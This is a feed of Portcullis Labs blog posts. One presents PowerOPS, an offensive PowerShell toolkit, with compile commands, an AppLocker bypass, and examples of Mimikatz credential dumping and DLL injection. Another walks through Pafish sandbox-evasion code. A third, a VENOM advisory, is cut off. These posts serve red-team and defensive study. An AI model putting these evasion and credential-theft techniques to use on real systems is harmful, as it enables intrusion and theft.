Portcullis Labs » RFR https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 PowerOPS: PowerShell for Offensive Operations https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/ https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/#comments Fri, 03 Jun 2016 12:17:41 +0000 https://labs.portcullis.co.uk/?p=5467 At Portcullis, one of the most frequent assessments we perform are breakouts. One of the main challenges we face during these assessments is to get command execution that can either help escalate our privileges or allow us to gain access to different systems on the network. Sometimes we find harsh group policy restrictions in place […]

The post PowerOPS: PowerShell for Offensive Operations appeared first on Portcullis Labs.

]]>
At Portcullis, one of the most frequent assessments we perform are breakouts. One of the main challenges we face during these assessments is to get command execution that can either help escalate our privileges or allow us to gain access to different systems on the network.

Sometimes we find harsh group policy restrictions in place that block access to the Windows Command Prompt, PowerShell, among others. These, however, are not always properly implemented, i.e. they do not block access to all executables (and allow only certain programs to run).

After getting command execution, we want to attack other systems on the network. However it isn’t always easy to get a flexible toolbox in the system that allow us to gather information and launch further attacks. PowerShell is our preferred post-exploitation language and powershell.exe access is usually blocked (as .ps1 scripts). However since the block is often incorrectly implemented, i.e. the DLLs used by PowerShell aren’t usually blocked, this can open some doors. On top of that some AVs started implementing some basic signatures that will pick some well known PowerShell scripts. The bypass is trivial but we want to be as stealthy as possible and it still delay us a bit.

How can we bypass some of these “security mitigations” and speed up our tests? PowerOPS is an application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a PowerShell runspace environment (.NET). Besides this, it includes multiple offensive PowerShell modules to make the process of post-exploitation easier.

It tries to follow the KISS principle, being as simple as possible. The main goal is to make it easy to use PowerShell offensively and help to evade Anti-Virus and other mitigations.

To do this, it:

  • Doesn’t rely on powershell.exe, it calls PowerShell directly through the .NET framework, which might help bypassing security controls like GPO, SRP and App Locker
  • Powershell functions within the Runspace are loaded in memory from Base64 Encoded Strings and never touch disk, evading most Anti-Virus engines

What’s inside the runspace?

PowerShellMafia/Powersploit

  • Get-Keystrokes
  • Invoke-DllInjection
  • Invoke-Mimikatz
  • Invoke-NinjaCopy
  • Invoke-Shellcode
  • Invoke-ReflectivePEInjection
  • Invoke-TokenManipulation
  • Invoke-WMICommand
  • PowerUp
  • PowerView

Nishang

  • Get-Information
  • Get-PassHashes
  • Port-Scan

Auto-GPPPassword

PowerCat

Get-ProductKey

Empire

  • Invoke-Psexec
  • Invoke-SSHCommand

Additionally you can run any valid PowerShell command.

Where to get it?

The source code is available at GitHub.

How to compile it

To compile PowerOPS you need to import this project within Microsoft Visual Studio or if you don’t have access to a Visual Studio installation, you can compile it as follows:

To compile it as an x86 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x86.exe /platform:x86 "C:\path\to\PowerOPS\PowerOPS\*.cs"

To compile it as an x64 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x64.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

PowerOPS uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.

How to use it

Just run the binary and type show to list available modules.

PS > show

[-] This computer is not part of a Domain! Some functions will not work!

[+] Nishang

 Get-Information    Get-PassHashes             Port-Scan

[+] PowerSploit

 Get-KeyStrokes     Invoke-DllInjection        Invoke-Mimikatz     Invoke-NinjaCopy
 Invoke-Shellcode   Invoke-TokenManipulation   Invoke-WmiCommand   Invoke-ReflectivePEInjection
 PowerView          PowerUp

[+] Empire

 Invoke-PsExec      Invoke-SSHCommand

[+] Others

 Auto-GPPPassword   Get-ProductKey             PowerCat

PS >

PowerUp and PowerView are loaded as modules, so Get-Command -module will show you all available functions.

PS > get-command -module powerup

CommandType     Name                                               ModuleName
-----------     ----                                               ----------
Function        Find-DLLHijack                                     PowerUp
Function        Find-PathHijack                                    PowerUp
Function        Get-ApplicationHost                                PowerUp
Function        Get-ModifiableFile                                 PowerUp
Function        Get-RegAlwaysInstallElevated                       PowerUp
Function        Get-RegAutoLogon                                   PowerUp
Function        Get-ServiceDetail                                  PowerUp
Function        Get-ServiceFilePermission                          PowerUp
Function        Get-ServicePermission                              PowerUp
Function        Get-ServiceUnquoted                                PowerUp
Function        Get-UnattendedInstallFile                          PowerUp
Function        Get-VulnAutoRun                                    PowerUp
Function        Get-VulnSchTask                                    PowerUp
Function        Get-Webconfig                                      PowerUp
Function        Install-ServiceBinary                              PowerUp
Function        Invoke-AllChecks                                   PowerUp
Function        Invoke-ServiceAbuse                                PowerUp
Function        Invoke-ServiceDisable                              PowerUp
Function        Invoke-ServiceEnable                               PowerUp
Function        Invoke-ServiceStart                                PowerUp
Function        Invoke-ServiceStop                                 PowerUp
Function        Restore-ServiceBinary                              PowerUp
Function        Test-ServiceDaclPermission                         PowerUp
Function        Write-HijackDll                                    PowerUp
Function        Write-ServiceBinary                                PowerUp
Function        Write-UserAddMSI                                   PowerUp

PS >

All your PowerShell fu applies. PowerOPS is basically a PowerShell shell with some modules/functions pre-loaded. So Get-Help is your friend and will help you to understand how the modules can be used.

Let’s say you want to see examples on how to use Invoke-Mimikatz.

PS > Get-Help Invoke-Mimikatz -examples

NAME
    Invoke-Mimikatz

SYNOPSIS
    This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to
    reflectively load Mimikatz completely in memory. This allows you to do
    things such as
    dump credentials without ever writing the mimikatz binary to disk.
    The script has a ComputerName parameter which allows it to be executed
    against multiple computers.

    This script should be able to dump credentials from any version of Windows
    through Windows 8.1 that has PowerShell v2 or higher installed.

    Function: Invoke-Mimikatz
    Author: Joe Bialek, Twitter: @JosephBialek
    Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog:
    http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter
    @gentilkiwi
    License:  http://creativecommons.org/licenses/by/3.0/fr/
    Required Dependencies: Mimikatz (included)
    Optional Dependencies: None
    Version: 1.5
    ReflectivePEInjection version: 1.1
    Mimikatz version: 2.0 alpha (2/16/2015)

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Execute mimikatz on the local computer to dump certificates.


    Invoke-Mimikatz -DumpCerts


    -------------------------- EXAMPLE 2 --------------------------

    C:\PS>Execute mimikatz on two remote computers to dump credentials.


    Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")


    -------------------------- EXAMPLE 3 --------------------------

    C:\PS>Execute mimikatz on a remote computer with the custom command
    "privilege::debug exit" which simply requests debug privilege and exits


    Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"


PS >

Or simply look at the whole help available for Invoke-DllInjection.

PS > Get-Help Invoke-DllInjection -full

NAME
    Invoke-DllInjection

SYNOPSIS
    Injects a Dll into the process ID of your choosing.

    PowerSploit Function: Invoke-DllInjection
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

SYNTAX
    Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>
    [<CommonParameters>]


DESCRIPTION
    Invoke-DllInjection injects a Dll into an arbitrary process.


PARAMETERS
    -ProcessID <Int32>
        Process ID of the process you want to inject a Dll into.

        Required?                    true
        Position?                    1
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false

    -Dll <String>
        Name of the dll to inject. This can be an absolute or relative path.

        Required?                    true
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?  false

    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216).

INPUTS

OUTPUTS

NOTES
        Use the '-Verbose' option to print detailed information.

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Invoke-DllInjection -ProcessID 4274 -Dll evil.dll


    Description
    -----------
    Inject 'evil.dll' into process ID 4274.

RELATED LINKS

http://www.exploit-monday.com

PS >

You can play around with the output…

PS > get-productkey

OSDescription        Computername        OSVersion           ProductKey
-------------        ------------        ---------           ----------
Microsoft Windows... VISUALSTUDIO        6.1.7601            ABCDE-54321-UVXY...



PS > get-productkey | format-list


OSDescription : Microsoft Windows 7 Professional N
Computername  : VISUALSTUDIO
OSVersion     : 6.1.7601
ProductKey    : ABCDE-54321-UVXYZ-12345-LMNOP

Save the output of your commands the way you want…

PS > invoke-allchecks | Out-File -Encoding ascii powerup.output.txt

PS > type powerup.output.txt

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable .dll locations...

[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for vulnerable registry autoruns and configs...

[*] Checking for vulnerable schtask files/configs...

[*] Checking for unattended install files...

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

PS >

Do some math…

PS > $a=1

PS > $b=4

PS > $c=$a+$b

PS > echo $c
5

Browse the file system…

PS > cd c:\

PS > ls

    Directory: C:\

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        14/02/2016     17:21            bin
d----        17/02/2016     15:02            Dev-Cpp
d----        14/07/2009     04:20            PerfLogs
d-r--        26/04/2016     20:00            Program Files
d-r--        26/04/2016     20:00            Program Files (x86)
d----        19/02/2016     21:06            Python27
d-r--        26/11/2015     17:20            Users
d----        12/05/2016     15:53            Windows
-a---        19/03/2010     23:55    2073703 VS_EXPBSLN_x64_enu.CAB
-a---        19/03/2010     23:58     551424 VS_EXPBSLN_x64_enu.MSI

PS > pwd

Path
----
C:\

PS >

And so on…

PowerShell v5 is coming with some new security features that will certainly affect some of the payloads contained in PowerOPS, so further development is expected as well as addition of new attack modules.

AppLocker bypass

PowerOPS includes the InstallUtil AppLocker bypass technique from Casey Smith. To make use of it run as shown below:

C:\> cd \Windows\Microsoft.NET\Framework\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\> InstallUtil.exe /logfile= /LogToConsole=false /U C:\path\to\PowerOPS.exe

Credits

PowerOPS was inspired by Cn33liz/p0wnedShell, and basically consists of work from Nikhil Mittal of Nishang, mattifiestation of PowerSploit and sixdub, engima0x3 and harmj0y of Empire.

The post PowerOPS: PowerShell for Offensive Operations appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/feed/ 0
Sandbox detection: Pafish overview https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/ https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/#comments Mon, 14 Mar 2016 20:15:03 +0000 https://labs.portcullis.co.uk/?p=5415 Here at Portcullis, we are frequently involved in “red team” exercises, which means we subject an organisation’s information security systems to rigorous testing and analysis. The opposite of a red team is a “blue team”. A blue team attempts to identify and stop the red team from compromising systems. One of the techniques used when […]

The post Sandbox detection: Pafish overview appeared first on Portcullis Labs.

]]>
Here at Portcullis, we are frequently involved in “red team” exercises, which means we subject an organisation’s information security systems to rigorous testing and analysis. The opposite of a red team is a “blue team”. A blue team attempts to identify and stop the red team from compromising systems. One of the techniques used when red teaming is to write malicious code to test the security systems of our clients. One of the issues we face resides in the fact that we need to bypass sandbox systems that analyse our files in real-time to identify if the potentially malicious file should be blocked and Indicators Of Compromise (IOCs) generated or if the files are benign and safe. At the same time, blue teams that catch our files will try to reverse engineer them in order to understand how we may be compromising systems. Even though the last point is not really relevant for us (ultimately we’re not the bad guys), the first point is.

In order to be able to mitigate this issue, our code needs to be able to detect if it is being run inside a debugger, a Virtual Machine (VM) or a sandbox. There are some well known open source projects that are able to achieve this that are often used by malware writers. One of the most well known is called Pafish, Paranoid Fish, the code for which can be found in the Pafish GitHub repo. So I decided to take a look at the code and go through all the tricks Pafish has in order to assess if they should be incorporated in to our exercises. If our code is running inside a debugger, VM or sandbox it should deviate from it’s original path and do something legitimate or terminate immediately. If it isn’t running in any of these environments it should run it’s malicious code and infect the system.

Pafish is written in C and can be built with MinGW (gcc + make) as it says on its official GitHub web site.

To build pafish you will basically need to install mingw-w64 and make. After unziping the Pafish source code, we can see the project source has different source code files, each one used for different detection purposes.

  • Detect a debugger: debuggers.c
  • Detect a sandbox: gensandbox.c
  • Detect hooked functions: hooks.c
  • Detect VirtualBox: vbox.c
  • Detect VMWare: vmware.c
  • Detect Qemu: qemu.c
  • Detect Bochs: bochs.c
  • Detect Cuckoo: cuckoo.c
  • Detect Sandboxie: sandboxie.c
  • Detect Wine: wine.c

In the next sections I’ll take a quick look at each one of these files. As you can see some sandboxes are missing, like FireEye, AMP Threat Grid from Cisco, Maltracker from AnubisNetworks, among others. By looking at these techniques we might find insights on how to bypass them if we find one in use at our clients during our engagements.

debuggers.c

By opening debuggers.c, we can see the first method implemented by Pafish. The IsDebuggerPresent() function is a Win32 API function that can be used to determine whether the calling process is being debugged by a debugger.

Still on debuggers.c we can see another function called debug_outputdebugstring(). This uses another function from the Win32 API, OutputDebugString(). According to MSDN, this function “sends a string to the debugger for display”. This is exactly what this code does. If the application is not running under a debugger the string will be sent to system’s debugger to be displayed with the DbgPrint() function from the Windows Driver Kit (WDK). If the application is not running inside a debugger and there is no system debugger then the OutputDebugString() does nothing. If the function doesn’t return an error the process is not being debugged. Otherwise it concludes it is running inside a debugger.

gensandbox.c

Another interesting file for us is gensandbox.c. This file contains 12 functions that it uses to detect a sandbox. The first one, gensandbox_mouse_act() uses GetCursorPos() to determine the position of the mouse cursor and whether it is actively being used. According to MSDN this function “retrieves the position of the mouse cursor, in screen coordinates”. Now if you look at the function code that does the actual detection, you can see that the function first calls the GetCursorPos() function in order to receive cursor co-ordinates and saves them into the position1 variable. After that it sleeps for 2000 milliseconds (i.e. 2 seconds), and then calls the same function again, this time saving the coordinates into the position2 variable. Afterwards, the two samples of the x and y coordinates of the mouse cursor are compared to one other. This determines whether the mouse cursor has changed between the two GetCursorPos() function calls. If the position of the mouse cursor has not changed then there was no mouse activity during the sleep function. Under such circumstances, the code will conclude that it is being run within a sandbox.

Another interesting function in this file is gensandbox_username(). It uses the GetUserName function that retrieves the name of the user associated with the current thread. After that all the lower case letters are converted to upper case letters and the name is compared with the following strings:

  • SANDBOX
  • VIRUS
  • MALWARE

The strstr() function is used to detect any occurrence of the presented strings in the username. If one of the strings above is found, it means that the program is being run inside a sandbox. Otherwise it returns FALSE. This method is highly questionable but gives us some insights on how one might either bypass it (if one was part of the “red team”) or create a better sandbox (if playing for the “blue team”).

The next function, called gensandbox_path(), is using GetModuleFileName(). According to MSDN this function “retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process”.

Here, the strstr() function is used to check whether the retrieved path contains any of the strings:

  • \\SAMPLE
  • \\VIRUS
  • SANDBOX

If that’s the case it concludes that it is running within a sandbox. Again, we can see multiple ways to improve this code and also get some ideas on how to apply this thinking to detect other environments even though, as you can see, it is a pretty basic technique.

gensandbox_common_names(), takes a similar approach but looks for the following strings instead:

  • sample.exe
  • malware.exe

Another interesting function is gensandbox_drive_size(). This checks if the first physical drive is larger than 60GB by using the CreateFile() and DeviceIoControl() functions. As we can read on MSDN, the CreateFile() function “creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. The function returns a handle that can be used to access the file or device for various types of I/O depending on the file or device and the flags and attributes specified”. Using a handle retrieved using the CreateFile() function call, the DeviceIoControl() function is used to send a control code directly to a specified device driver, causing the corresponding device to perform the IOCTL_DISK_GET_LENGTH_INFO operation.

Once again, this is tricky but it is almost always true these days. People don’t like to allocate that much disk space for their testing VMs.

Pafish also has a second function that plays with the size of the C drive, gensandbox_drive_size2(). It basically checks for the amount of free space on drive C. Again, this can be tricky, I’ve seen production servers (mostly databases) running out of space due to a lack of good sysadmin practices and bad planning. And yes… this happens a lot.

Another interesting function is gensandbox_uptime(). It uses GetTickCount() function to retrieve the number of milliseconds that have elapsed since the system was started (up to 49.7 days).

Once again, the assumption done here might be wrong if we think about laptops. Remember, the whole purpose of this analysis is to apply this code to our “red team” exercies, where desktop users are usually the target.

There are some more small functions inside gensandbox.c that I’d recommend you to have a look. These can also give some good insights to detect other sandboxes.

  • gensandbox_sleep_patched()
  • gensandbox_one_cpu()
  • gensandbox_one_cpu_GetSystemInfo()
  • gensandbox_less_than_onegb()
  • gensandbox_IsNativeVhdBoot()

hooks.c

The hooks.c source code only contains four small functions. Their aim is detect if any of the following functions have been hooked:

  • DeleteFileW
  • ShellExecuteExW
  • CreateProcessA

Here’s the whole code:

]
static int check_hook_m1(DWORD * dwAddress) {
	BYTE *b = (BYTE *)dwAddress;
	return (*b == 0x8b) && (*(b+1) == 0xff) ? FALSE : TRUE;
}

/* Causes FP in Win 8 */
int check_hook_DeleteFileW_m1() {
	return check_hook_m1((DWORD *)DeleteFileW);
}

int check_hook_ShellExecuteExW_m1() {
	return check_hook_m1((DWORD *)ShellExecuteExW);
}

int check_hook_CreateProcessA_m1() {
	return check_hook_m1((DWORD *)CreateProcessA);
}

Basically each one of the functions store the the address of the function (either DeleteFileW(), ShellExecuteExW() or CreateProcessA()) into the dwAddress variable of the check_hook_m1() function.

Then it checks whether the first two bytes of the function are 0xff8b, which represent the assembly instruction for jump back instruction. Usually the functions create a new stack frame upon being called, but the jmp instruction at the beginning of a function clearly indicates the function has been hooked.

vbox.c/vmware.c/qemu.c

The code to detect VirtualBox is quite extensive and there are multiple functions that look for Windows Registry keys. Here are those functions:

]
/**
* SCSI registry key check
**/
int vbox_reg_key1() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier", "VBOX");
}

/**
* SystemBiosVersion registry key check
**/
int vbox_reg_key2() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System", "SystemBiosVersion", "VBOX");
}

/**
* VirtualBox Guest Additions key check
**/
int vbox_reg_key3() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Oracle\\VirtualBox Guest Additions");
}

/**
* VideoBiosVersion key check
**/
int vbox_reg_key4() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System", "VideoBiosVersion", "VIRTUALBOX");
}

/**
* ACPI Regkey detection
**/
int vbox_reg_key5() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__");
}

/**
* FADT ACPI Regkey detection
**/
int vbox_reg_key7() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__");
}

/**
* RSDT ACPI Regkey detection
**/
int vbox_reg_key8() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\RSDT\\VBOX__");
}

/**
* VirtualBox Services Regkey detection
**/
int vbox_reg_key9(int writelogs) {
	int res = FALSE, i;
	const int count = 5;
	char message[200];

	string strs1ount];
	strs[0] = "SYSTEM\\ControlSet001\\Services\\VBoxGuest";
	strs[1] = "SYSTEM\\ControlSet001\\Services\\VBoxMouse";
	strs[2] = "SYSTEM\\ControlSet001\\Services\\VBoxService";
	strs[3] = "SYSTEM\\ControlSet001\\Services\\VBoxSF";
	strs[4] = "SYSTEM\\ControlSet001\\Services\\VBoxVideo";
	for (i=0; i < count; i++) {
		if (pafish_exists_regkey(HKEY_LOCAL_MACHINE, strs[i])) {
			snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using Reg key HKLM\\%s", strs[i]);
			if (writelogs) write_log(message);
			res = TRUE;
		}
	}
	return res;
}

/**
* HARDWARE\\DESCRIPTION\\System SystemBiosDate == 06/23/99
**/
int vbox_reg_key10() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", "SystemBiosDate", "06/23/99");
}

The names and the code is prety self explanatory. The code is mostly based on the functions pafish_exists_regkey_value_str() and pafish_exists_regkey() and it can be foud on utils.c. Basically, it uses RegOpenKeyEx(). If the function finds the specified registry entry it will return ERROR_SUCCESS. Otherwise a value of nonzero will be returned. As stated on MSDN, the RegOpenKeyEx() function “opens the specified registry key. Note that key names are not case sensitive”.

In the VirtualBox code there’s also some other interesting tricks. Like the function vbox_sysfile1(). This function basically looks for the presence of VirtualBox drivers installed on the system. See the code below:

]
int vbox_sysfile1(int writelogs) {
	const int count = 4;
	string strs1ount];
	int res = FALSE, i = 0;
	char message[200];

	strs[0] = "C:\\WINDOWS\\system32\\drivers\\VBoxMouse.sys";
	strs[1] = "C:\\WINDOWS\\system32\\drivers\\VBoxGuest.sys";
	strs[2] = "C:\\WINDOWS\\system32\\drivers\\VBoxSF.sys";
	strs[3] = "C:\\WINDOWS\\system32\\drivers\\VBoxVideo.sys";
	for (i=0; i < count; i++) {
		if (pafish_exists_file(strs[i])) {
			snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using driver file %s", strs[i]);
			if (writelogs) write_log(message);
			res = TRUE;
		}
	}
	return res;
}

On the same line of thinking you can find the function vbox_sysfile2(). Which basically looks for the presence of specific VirtualBox DLLs. Here is the actual code:

]
int vbox_sysfile2(int writelogs) {
	const int count = 14;
	string strs1ount];
	int res = FALSE, i = 0;
	char message[200];

	strs[0] = "C:\\WINDOWS\\system32\\vboxdisp.dll";
	strs[1] = "C:\\WINDOWS\\system32\\vboxhook.dll";
	strs[2] = "C:\\WINDOWS\\system32\\vboxmrxnp.dll";
	strs[3] = "C:\\WINDOWS\\system32\\vboxogl.dll";
	strs[4] = "C:\\WINDOWS\\system32\\vboxoglarrayspu.dll";
	strs[5] = "C:\\WINDOWS\\system32\\vboxoglcrutil.dll";
	strs[6] = "C:\\WINDOWS\\system32\\vboxoglerrorspu.dll";
	strs[7] = "C:\\WINDOWS\\system32\\vboxoglfeedbackspu.dll";
	strs[8] = "C:\\WINDOWS\\system32\\vboxoglpackspu.dll";
	strs[9] = "C:\\WINDOWS\\system32\\vboxoglpassthroughspu.dll";
	strs[10] = "C:\\WINDOWS\\system32\\vboxservice.exe";
	strs[11] = "C:\\WINDOWS\\system32\\vboxtray.exe";
	strs[12] = "C:\\WINDOWS\\system32\\VBoxControl.exe";
	strs[13] = "C:\\program files\\oracle\\virtualbox guest additions\\";
	for (i = 0; i < count; i++) {
		if (pafish_exists_file(strs[i])) {
			snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using system file %s", strs[i]);
			if (writelogs) write_log(message);
			res = TRUE;
		}
	}
	return res;
}

One of the tricks mostly common used is… yes, you guessed it. Check the MAC address identifier. Here’s the code that check’s for the OUI vendor:

]
int vbox_mac() {
	/* VirtualBox mac starts with 08:00:27 */
	return pafish_check_mac_vendor("\x08\x00\x27");
}

The code for pafish_check_mac_vendor() can be found on the utils.c source file. Here’s the actual code:

]
int pafish_check_mac_vendor(char * mac_vendor) {
	unsigned long alist_size = 0, ret;

	ret = GetAdaptersAddresses(AF_UNSPEC,0,0,0,&alist_size);
	if(ret==ERROR_BUFFER_OVERFLOW) {
		IP_ADAPTER_ADDRESSES* palist = (IP_ADAPTER_ADDRESSES*)LocalAlloc(LMEM_ZEROINIT,alist_size);
		if(palist) {
			GetAdaptersAddresses(AF_UNSPEC,0,0,palist,&alist_size);
			char mac[6]={0};
			while (palist){
				if (palist->PhysicalAddressLength==0x6){
					memcpy(mac,palist->PhysicalAddress,0x6);
					if (!memcmp(mac_vendor, mac, 3)) { /* First 3 bytes are the same */
						LocalFree(palist);
						return TRUE;
					}
				}
				palist = palist->Next;
			}
			LocalFree(palist);
		}
	}
	return FALSE;
}

There are a few more tricks on the vbox.c file that shouldn’t be ignored, but I’ll ignore them for now.

As you can imagine most of the code used to fingerprint VirtualBox is used in almost identical fashion to fingerprint VMware and Qemu.Basically, the code looks for specific Windows Registry keys, specific file paths, drivers and MAC vendor.

bochs.c

One neat idea we spotted in terms of how Pafish fingerprints Bochs was to play with CPU specific featurs that are present in Bochs but not real CPU.

For example:

]
int bochs_cpu_amd1() {
	char cpu_brand[49];
	cpu_write_brand(cpu_brand);
	/* It checks the lowercase P in 'processor', an actual AMD returns Processor */
	return !memcmp(cpu_brand, "AMD Athlon(tm) processor", 24) ? TRUE : FALSE;
}

int bochs_cpu_amd2() {
	int eax;
	__asm__ volatile(".intel_syntax noprefix;"
			"xor eax, eax;"
			"cpuid;"
			"cmp ecx, 0x444d4163;" /* AMD CPU? */
			"jne b2not_detected;"
			"mov eax, 0x8fffffff;" /* query easter egg */
			"cpuid;"
			"jecxz b2detected;" /* ECX value not filled */
			"b2not_detected: xor eax, eax; jmp b2exit;"
			"b2detected: mov eax, 0x1;"
			"b2exit: nop;"
			".att_syntax;"
			: "=a"(eax));
	return eax ? TRUE : FALSE;
}

int bochs_cpu_intel1() {
	char cpu_brand[49];
	cpu_write_brand(cpu_brand);
	/* This processor name is not known to be valid in an actual CPU */
	return !memcmp(cpu_brand, "              Intel(R) Pentium(R) 4 CPU        ", 47) ? TRUE : FALSE;
}

The first and third functions bochs_cpu_amd1() and bochs_cpu_intel1() will check for typos in the processor CPU string, whilst the second, bochs_cpu_amd2() triggers an assembly level easter egg that is present in the Bochs x86 CPU emulation.

cuckoo.c

Cuckoo is an open source project and the hooks it implements are known. The code you can find on cuckoo.c is quite small and basically plays with Cuckoo TLS_HOOK_INFO. As a side note don’t forget that most Cuckoo set-ups use VirtualBox.

sandboxie.c

The trick to detect Sandboxie is quite simple:

]
int sboxie_detect_sbiedll() {
	if (GetModuleHandle("sbiedll.dll") != NULL) {
		return TRUE;
	}
	else {
		return FALSE;
	}
}

As you can see the function above tries to load the Sandboxie specific DLL called sbiedll.dll. If it succeeds Sandboxie is installed in the systems. Otherwise it is not. Pretty small test but quite effective.

wine.c

The code to detect the Wine environment is also quite small. The first function is wine_detect_get_unix_file_name():

]
int wine_detect_get_unix_file_name() {
	HMODULE k32;
	k32 = GetModuleHandle("kernel32.dll");
	if (k32 != NULL) {
		if (GetProcAddress(k32, "wine_get_unix_file_name") != NULL) {
			return TRUE;
		}
		else {
			return FALSE;
		}
	}
	else {
		return FALSE;
	}
}

It starts by getting an handle to the kernel32.dll and then calling the GetProcAddress() to retrieve the address of the function/variable wine_get_unix_file_name exported and available in the kernel32.dll. If the function succeeds it will return the address of the exported function, otherwise it will return NULL. Meaning that if doesn’t return NULL Wine has been fingerprinted and the wine_detect_get_unix_file_name returns TRUE.

The other function that Pafish implements is shown below:

]
int wine_reg_key1() {
	return pafish_exists_regkey(HKEY_CURRENT_USER, "SOFTWARE\\Wine");
}

Nothing new here, wine_reg_key1 simply looks for the presence of a Windows Registry key.

Conclusion

This short introduction to Pafish code was meant to evaluate how the code can be applied to our Red Team Exercises. Since the code/checks are not too advanced and in some cases can be completely fooled, the code should be tweaked if we want to use it in our engagements. It also doesn’t make sense to include all the checks blindly, which means a good information gathering phase must be assured before any “red team” exercise.

Anyway these different methods of checking whether the program is running under a debugger, Virtual Machine or a sandbox might be quite useful if we want to develop code for a specific environment. Looking at Pafish code certainly improves our knowledge about how to bypass some sandboxes.

Based on the code I’ve read, the most common ways to identify that we are running in a virtualized environment (running inside a debugger is not that useful to us) are:

  • Registry checks
  • Memory checks
  • Communication checks (with the host)
  • Process and file checks
  • Hardware

The post Sandbox detection: Pafish overview appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/feed/ 0
VENOM vulnerability https://labs.portcullis.co.uk/blog/venom-vulnerability/ https://labs.portcullis.co.uk/blog/venom-vulnerability/#comments Thu, 14 May 2015 10:12:24 +0000 https://labs.portcullis.co.uk/?p=5134 VENOM (Virtualised Environment Neglected Operations Manipulation) is a vulnerability that could allow an attacker to escape a guest virtual machine and access the host system, along with other virtual machines running on this system, and access their data. This could potentially allow an attacker to steal sensitive data on any of these virtual machines and […]

The post VENOM vulnerability appeared first on Portcullis Labs.

]]>
VENOM (Virtualised Environment Neglected Operations Manipulation) is a vulnerability that could allow an attacker to escape a guest virtual machine and access the host system, along with other virtual machines running on this system, and access their data. This could potentially allow an attacker to steal sensitive data on any of these virtual machines and gain elevated access to the host’s local network and its systems.

VENOM (CVE-2015-3456) takes advantage of the floppy drive emulation code of the open-source hypervisor QEMU, installed by default in a number of virtualisation infrastructures such as Xen hypervisors, the QEMU client, and Kernel-based Virtual Machine (KVM).

What is it?

VENOM (Virtualised Environment Neglected Operations Manipulation) is a vulnerability that could allow an attacker to escape a guest virtual machine and access the host system, along with other virtual machines running on this system, and access their data. This could potentially allow an attacker to steal sensitive data on any of these virtual machines and gain elevated access to the host’s local network and its systems.

VENOM takes advantage of the floppy drive emulation code of the open-source hypervisor QEMU, installed by default in a number of virtualisation infrastructures such as Xen hypervisors, the QEMU client, and Kernel-based Virtual Machine (KVM)

What does it expose?

